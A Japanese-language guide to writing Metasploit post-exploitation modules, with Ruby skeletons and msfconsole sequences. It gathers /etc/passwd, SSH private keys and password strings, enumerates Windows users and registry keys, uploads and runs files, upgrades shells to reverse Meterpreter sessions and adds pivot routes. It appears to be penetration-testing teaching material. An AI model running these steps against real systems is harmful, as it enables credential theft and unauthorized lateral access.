Post
post モジュールは 既に開いているセッション の上で動きます。SESSION が必須で、ペイロードを新たに飛ばすのではなく、対象上の列挙・管理・収集を行います。参照は packages/metasploit-framework/modules/post/ と同梱 wiki How-to-get-started-with-writing-a-post-module.md です。
共通手順は 共通手順 です。セッション API は Post 用 mixin です。
いつ post にするか
Section titled “いつ post にするか”| 条件 | 種別 |
|---|---|
| まだセッションがない | exploit / auxiliary / ハンドラ |
| セッション上でコマンド・ファイル・レジストリを触る | post |
| シェルを Meterpreter に昇格する | post(例: shell_to_meterpreter) |
| local 特権昇格で新しいセッションを返す | exploit(exploit/*/local/) |
| ディレクトリ | 用途 |
|---|---|
gather/ | 設定、資格情報、列挙 |
gather/credentials/ | 資格情報特化 |
manage/ | セッション管理、設定変更、injection |
recon/ | 偵察(窃取より状況把握) |
capture/ | keylog など継続取得 |
wlan/ | WLAN |
書き方の参考になるモジュール
Section titled “書き方の参考になるモジュール”| 参考モジュール | 学べること |
|---|---|
post/multi/general/execute | 最短の cmd_exec 例 |
post/linux/gather/enum_configs | 複数ファイルを read_file → store_loot |
post/linux/gather/enum_system | Linux システム情報の集め方 |
post/linux/gather/enum_network | ネットワーク情報 |
post/windows/gather/enum_logged_on_users | Windows mixin(Accounts / Registry / Profiles) |
post/windows/gather/checkvm | 短い Windows gather |
post/windows/gather/enum_applications | ソフトウェア列挙 |
post/multi/manage/shell_to_meterpreter | セッション管理・昇格の定番 |
post/multi/manage/autoroute | pivot 用 route 追加 |
post/windows/manage/migrate | Meterpreter プロセス移行 |
post/windows/wlan/wlan_profile | loot 化の具体例 |
セッションと SessionTypes
Section titled “セッションと SessionTypes”'SessionTypes' => ['shell', 'meterpreter'],'Platform' => %w[linux osx unix win]モジュール内では session(別名 client)が対象です。
print_status(session.inspect)print_status(session.platform)print_status(session.type)gather / manage でも、読む手段(read_file / cmd_exec / レジストリ)と保存手段で骨格が変わります。
1. コマンド実行
Section titled “1. コマンド実行”1a. 1 コマンドをそのまま(post/multi/general/execute)
Section titled “1a. 1 コマンドをそのまま(post/multi/general/execute)”class MetasploitModule < Msf::Post def initialize(info = {}) super( update_info( info, 'Name' => 'Session Command Execution', 'License' => MSF_LICENSE, 'Author' => ['hdm'], 'Platform' => %w[linux osx unix win], 'SessionTypes' => ['shell', 'meterpreter'] ) ) register_options([OptString.new('COMMAND', [false, 'Command line'])]) end
def run print_status("Response:\n#{cmd_exec(datastore['COMMAND'])}") endend1b. 失敗検知トークン付き実行(enum_network 系)
Section titled “1b. 失敗検知トークン付き実行(enum_network 系)”コマンドが失敗したときに空成功と誤認しないパターンです。
def execute(cmd) token = Rex::Text.rand_text_alpha(8) output = cmd_exec("#{cmd} || echo #{token}") return nil if output.to_s.include?(token) outputend
def run out = execute('/sbin/ifconfig -a') store_loot('linux.enum.network', 'text/plain', session, out, nil, 'ifconfig') if outend1c. create_process で引数を分ける
Section titled “1c. create_process で引数を分ける”def run out = create_process('grep', args: ['-r', 'password', '/var/www'], time_out: 30) print_line(out.to_s)end1d. platform 分岐
Section titled “1d. platform 分岐”def run case session.platform when 'windows' print_status(cmd_exec('whoami /all')) else print_status(cmd_exec('id; uname -a')) endend2. ファイル収集
Section titled “2. ファイル収集”2a. 固定パス一覧を read_file(enum_configs)
Section titled “2a. 固定パス一覧を read_file(enum_configs)”include Msf::Post::File
def run [ '/etc/passwd', '/etc/hosts', '/etc/samba/smb.conf' ].each do |f| data = read_file(f).to_s next if data.strip.empty? || data =~ /No such file/ loot = store_loot('linux.enum.conf', 'text/plain', session, data, File.basename(f)) print_good("#{f} -> #{loot}") endend2b. find で候補を探してから読む(enum_network の SSH 鍵探索に近い)
Section titled “2b. find で候補を探してから読む(enum_network の SSH 鍵探索に近い)”def run dirs = cmd_exec('/usr/bin/find / -maxdepth 3 -name .ssh 2>/dev/null').to_s.split("\n") dirs.each do |dir| %w[id_rsa id_ed25519].each do |key| path = "#{dir}/#{key}" next unless exist?(path) && readable?(path) data = read_file(path) store_loot('ssh.key', 'text/plain', session, data, key, path) end endend2c. 書き込み・実行ファイル配置(manage 寄り)
Section titled “2c. 書き込み・実行ファイル配置(manage 寄り)”include Msf::Post::Fileinclude Msf::Exploit::FileDropper
def run remote = '/tmp/' + Rex::Text.rand_text_alpha(8) upload_and_chmodx(remote, File.binread(datastore['LOCAL_FILE'])) register_file_for_cleanup(remote) print_status(cmd_exec(remote))end3. Windows gather
Section titled “3. Windows gather”3a. プロファイル列挙(enum_logged_on_users 系)
Section titled “3a. プロファイル列挙(enum_logged_on_users 系)”include Msf::Post::Windows::Registryinclude Msf::Post::Windows::UserProfiles
def run read_profile_list(user_accounts_only: false).each do |profile| print_status("#{profile['SID']} #{profile['PROF']}") endend3b. レジストリ値の直接読み(checkvm 系)
Section titled “3b. レジストリ値の直接読み(checkvm 系)”include Msf::Post::Windows::Registryinclude Msf::Post::Process
def run services = registry_enumkeys('HKLM\\SYSTEM\\ControlSet001\\Services') || [] procs = get_processes || [] if services.any? { |s| s =~ /VBox|vmci|vmhgfs/i } || procs.any? { |p| p['name'] =~ /vmtoolsd/i } print_good('Looks like a VM') report_virtualization('VMware') # または独自判定 else print_status('Appears physical') endend3c. 単一レジストリ値
Section titled “3c. 単一レジストリ値”def run val = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion', 'ProductName') print_good("ProductName=#{val}") if val report_note(host: session.session_host, type: 'windows.product', data: { name: val }, update: :unique_data)end4. manage / セッション操作
Section titled “4. manage / セッション操作”4a. シェル → Meterpreter(利用側の型)
Section titled “4a. シェル → Meterpreter(利用側の型)”自作より既存 post/multi/manage/shell_to_meterpreter を使うことが多いです。自作するなら「既存 SESSION から reverse ペイロードを起動しハンドラを立てる」が骨格です。
def run # LHOST/LPORT/HANDLER を見て upgrade 用コマンドを session 上で実行 # 成功したら sessions -l で新しい Meterpreter が見えるend4b. autoroute(autoroute)
Section titled “4b. autoroute(autoroute)”def run # session 経由で subnet 向け route を framework に追加 print_status("Adding route via session #{datastore['SESSION']}") # post/multi/manage/autoroute の実装を参照end4c. 環境変数・ホスト名の軽い recon
Section titled “4c. 環境変数・ホスト名の軽い recon”def run print_status("host=#{session.session_host} platform=#{session.platform}") print_status(cmd_exec('hostname')) print_status(get_env('PATH').to_s)end5. 出力のまとめ方の変種
Section titled “5. 出力のまとめ方の変種”5a. すぐ print だけ
Section titled “5a. すぐ print だけ”def run print_line(cmd_exec('ps aux'))end5b. loot に必ず残す
Section titled “5b. loot に必ず残す”def run data = cmd_exec('ps aux') store_loot('linux.ps', 'text/plain', session, data, 'ps.txt', 'process list')end5c. 表形式で整理してから loot
Section titled “5c. 表形式で整理してから loot”def run tbl = Rex::Text::Table.new('Header' => 'Users', 'Columns' => %w[name uid]) get_users.each { |u| tbl << [u['name'], u['uid']] } print_line(tbl.to_s) store_loot('linux.users', 'text/plain', session, tbl.to_s)end任意コマンド
Section titled “任意コマンド”sessions -luse post/multi/general/executeset SESSION 1set COMMAND idrunWindows セッションなら次です。
set COMMAND whoami /allrunLinux 設定収集
Section titled “Linux 設定収集”use post/linux/gather/enum_configsset SESSION 1runlootLinux システム情報
Section titled “Linux システム情報”use post/linux/gather/enum_systemset SESSION 1runWindows ログオンユーザ
Section titled “Windows ログオンユーザ”use post/windows/gather/enum_logged_on_usersset SESSION 1set CURRENT trueset RECENT truerunシェル → Meterpreter
Section titled “シェル → Meterpreter”sessions -lsessions -u 1sessions -lオプションを明示する場合です。
use post/multi/manage/shell_to_meterpreterset SESSION 1set LHOST 10.10.16.10set LPORT 5555set HANDLER truerunOS 誤検知時です。
set PAYLOAD_OVERRIDE linux/x64/meterpreter/reverse_tcpset PLATFORM_OVERRIDE linuxrunautoroute(pivot)
Section titled “autoroute(pivot)”use post/multi/manage/autorouteset SESSION 3set SUBNET 172.16.1.0set NETMASK 255.255.255.0runroute print自作 post の読み込み
Section titled “自作 post の読み込み”reload_lib -ause post/linux/gather/my_passwdset SESSION 1run型別の組み立て方
Section titled “型別の組み立て方”| 型 | include 例 | 入口 |
|---|---|---|
| 汎用コマンド | Post / Common | run + cmd_exec |
| ファイル収集 | File (+ Unix) + Report | read_file → store_loot |
| Windows 情報 | Windows::* | Registry / Accounts など |
| セッション管理 | 既存 manage モジュール | shell_to_meterpreter 等 |
local PE との境界
Section titled “local PE との境界”- 現在のセッションの権限で情報を取得する場合は post を使います。
- 現在のセッションを足場に別のペイロードセッションを開く場合は Exploit(
Msf::Exploit::Local)を使います。
共通手順との対応
Section titled “共通手順との対応”- 種別と配置 →
post/<platform>/<category>/... - 基底と mixin
- update_info →
SessionTypesを正確に - register_options →
SESSIONは再登録しない - 入口メソッド → 基本は
run - 成果の保存
- 後片付け
実装時の注意
Section titled “実装時の注意”- 1 モジュールに「全部集める」を載せない。
shellとmeterpreterで使える API が違う。Railgun などは Meterpreter 前提。- 破壊的操作は
manageに置き、説明を厚くする。 - 取得物は
store_lootや~/lab方針に合わせて残す。

